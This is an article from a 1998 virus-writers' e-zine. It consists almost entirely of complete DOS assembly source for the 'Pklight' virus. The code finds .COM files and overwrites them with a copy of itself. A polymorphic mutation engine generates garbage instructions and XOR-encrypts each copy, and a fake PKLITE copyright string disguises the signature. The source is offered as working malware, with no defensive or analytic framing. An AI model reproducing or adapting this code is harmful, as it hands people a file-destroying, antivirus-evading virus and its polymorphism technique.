ฤฤฤฤฤฤฤ[PVW4.028]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ
Written for the : Pinoy Virus Writers E-Zine #4
DATE : December 1998
                                % % % % %

                               - = %|% = -

 ษอออ   sOuRcEs !!!  ออออออออออออออออออออออออออออออออออออออออออป
 ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ

  Virus Name : Pklight Virus
  By : Lorz

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
;The Pklight virus is a virus that is highly polymorphic. It uses lot of garbage
;It is named as pklight because the signature is PKlite. It is made by Lorz
;I don't have much to say about this virus...

.model tiny
.code
org 100h

start:
		mov dx, offset filemask
                mov ah, 4eh
                int 21h
                jnc go
                jmp short getout
   		
go:             call infect
getout: 	int 20h
infect:         mov ax, 3d02h
                int 21h
		jc getout
	
		mov ah, 40h
		mov cx, offset philippines-100h
  		call mut_eng
		int 21h

		mov ah, 3eh
		int 21h
	  	ret
                 
mut_eng:        mov di, offset resulting_code     
                inc cx
                shr cx,1
                mov word ptr [di-(resulting_code-cntr)],cx
                call get_rand
                mov ah,al
                call get_rand
                mov word ptr [di-(resulting_code-seed)],ax
                push bp
                push dx
                call get_rand
                and ax, 1
                call do_garbage_manual
                mov cx, 9
genloop:        push cx
                call get_rand
                and ax,0fh
                inc ax
                xchg ax,cx
gloop:          push cx
                call do_garbage
                pop cx
                loop gloop
                mov ax, 0c72eh
                stosw
                mov al, 06
                stosb
                pop cx
                mov bx,cx
                add bx,bx
                mov word ptr ds:[workspace-2+bx],di
                stosw
                stosw
                loop genloop
                pop si
                pop bp
                mov al, 0e9h
                stosb
                mov cx, word ptr cntr
                mov ax,cx
                add ax,cx
                stosw
                add ax, (endframe-framework)
                neg ax
                mov jmpback, ax
                lea bx, [di+bp+(-(offset resulting_code))]
                mov word ptr rtp, bx
cryptloop:
                lodsw
                xor ax, word ptr seed
                stosw
                loop cryptloop
                mov dx,di
                push di
                mov si, offset framework
                mov bx, offset resulting_code
                push bx
                sub bp,bx
                mov cx,9
fill_loop:      dec bx
                dec bx
                mov di, word ptr [bx]
                lea ax, [bp+si+(-(offset framework))]
                add ax,dx
                stosw
                movsw
                loop fill_loop
                pop dx
                pop cx
                sub cx,dx
                ret
get_rand:       in al,40h    
                rol al,1  ;RNG v2.0
                xor al, 0ffh
                org $-1
Randomize       db ?
                mov randomize,al
                ret
do_garbage:     call get_rand
                and ax, 0fh
do_garbage_manual:                
                mov bx,ax
                mov bl, byte ptr [calltable+bx]
                xor bh,bh
                lea bp, [bx+poly]
interpret_string:
                mov si,bp
                cwd
                lodsb
                mov dh,al
                test dh,16
                jz dont_quote
                lodsb
                mov dl,al
dont_quote:     test dh,8
                jz  dont_select
                lodsb
                cbw
                xchg ax,cx
                call get_rand
                xor ah,ah
                div cl
                xchg al,ah
                cbw
                xchg ax,bx
                mov dl, byte ptr ds:[si+bx]
                add si,cx
dont_select:    test dh,4
                jz no_random_masking
                call get_rand
                and al, byte ptr ds:[si]
                or dl,al
                inc si
no_random_masking:
                test dh,2
                jz no_illegal
                lodsb
                and al,dl
                inc si
                cmp al, byte ptr ds:[si-1]
                jz interpret_string
no_illegal:     mov bp,si
                mov al,dl
                stosb
                test dh,1
                jz no_jmp
                lodsb
                cbw
                add bp,ax
no_jmp:         cmp byte ptr ds:[bp],0
                jnz interpret_string
                ret
calltable:      db rnd_mov_8 - poly
                db rnd_mov_16 - poly
                db onebyte - poly
                db incs - poly
                db incs - poly
                db arithmetic_8 - poly
                db arithmetic_16 - poly
                db big_class_0_40 - poly
                db onebyte - poly
                db big_class_40_80 - poly
                db big_class_80_c0 - poly
                db big_class_c0_100 - poly
                db rnd_mov_8 - poly
                db rnd_mov_16 - poly
                db rnd_mov_8 - poly
                db rnd_mov_16 - poly
endcalltable:
poly:
big_class_0_40: db 00010100b,00000010b,00111001b,00000110b,00011111b
                db 00000111b,6,00
big_class_40_80:db 00010100b,00100010b,00011001b,00010111b,01000000b
                db 00011111b,00000111b,6,rndbyte-$
big_class_80_c0:db 00010100b,00100010b,00011001b,00010111b,10000000b
                db 00011111b,00000111b,6,rndword-$
big_class_c0_100:
                db 00010100b,00100010b,00011001b,00010110b,11000000b
                db 00011111b,00000111b,6,00
flow_control:   db 00010100b,72h,7,00010000b,0,0
arithmetic_8:   db 00010101b,00000100b,00111000b,rndbyte-$
arithmetic_16:  db 00010101b,00000101b,00111000b,rndword-$
rnd_mov_8:      db 00010101b,0b0h,7,rndbyte-$
rnd_mov_16:     db 00010110b,0b8h,07,07,04
rndword:        db 00000100b,0ffh
rndbyte:        db 00000100b,0ffh,0
incs:           db 00010110b,40h,0fh,7,4,0
onebyte:        db 00001000b,(end_onebyters-onebyters)
onebyters:      db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,9fh,9eh,99h,98h
                db 91h,92h,93h,95h,96h,97h
end_onebyters:  db 0
framework:      cld
                mov si, 1234h
rtp             equ $-2                
                mov cx, 1234h
cntr            equ $-2
frameloop:      xor word ptr cs:[si], 1234h
seed            equ $-2
                lodsw
                loop frameloop
                db 0e9h
jmpback         dw ?
philippines 	db 'PKLITE Copr. 1990-92 PKWARE Inc. All Rights Reserved'
filemask	db '*.com',0
endframe:
workspace       db endframe-framework dup (?)
resulting_code:
end start
-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--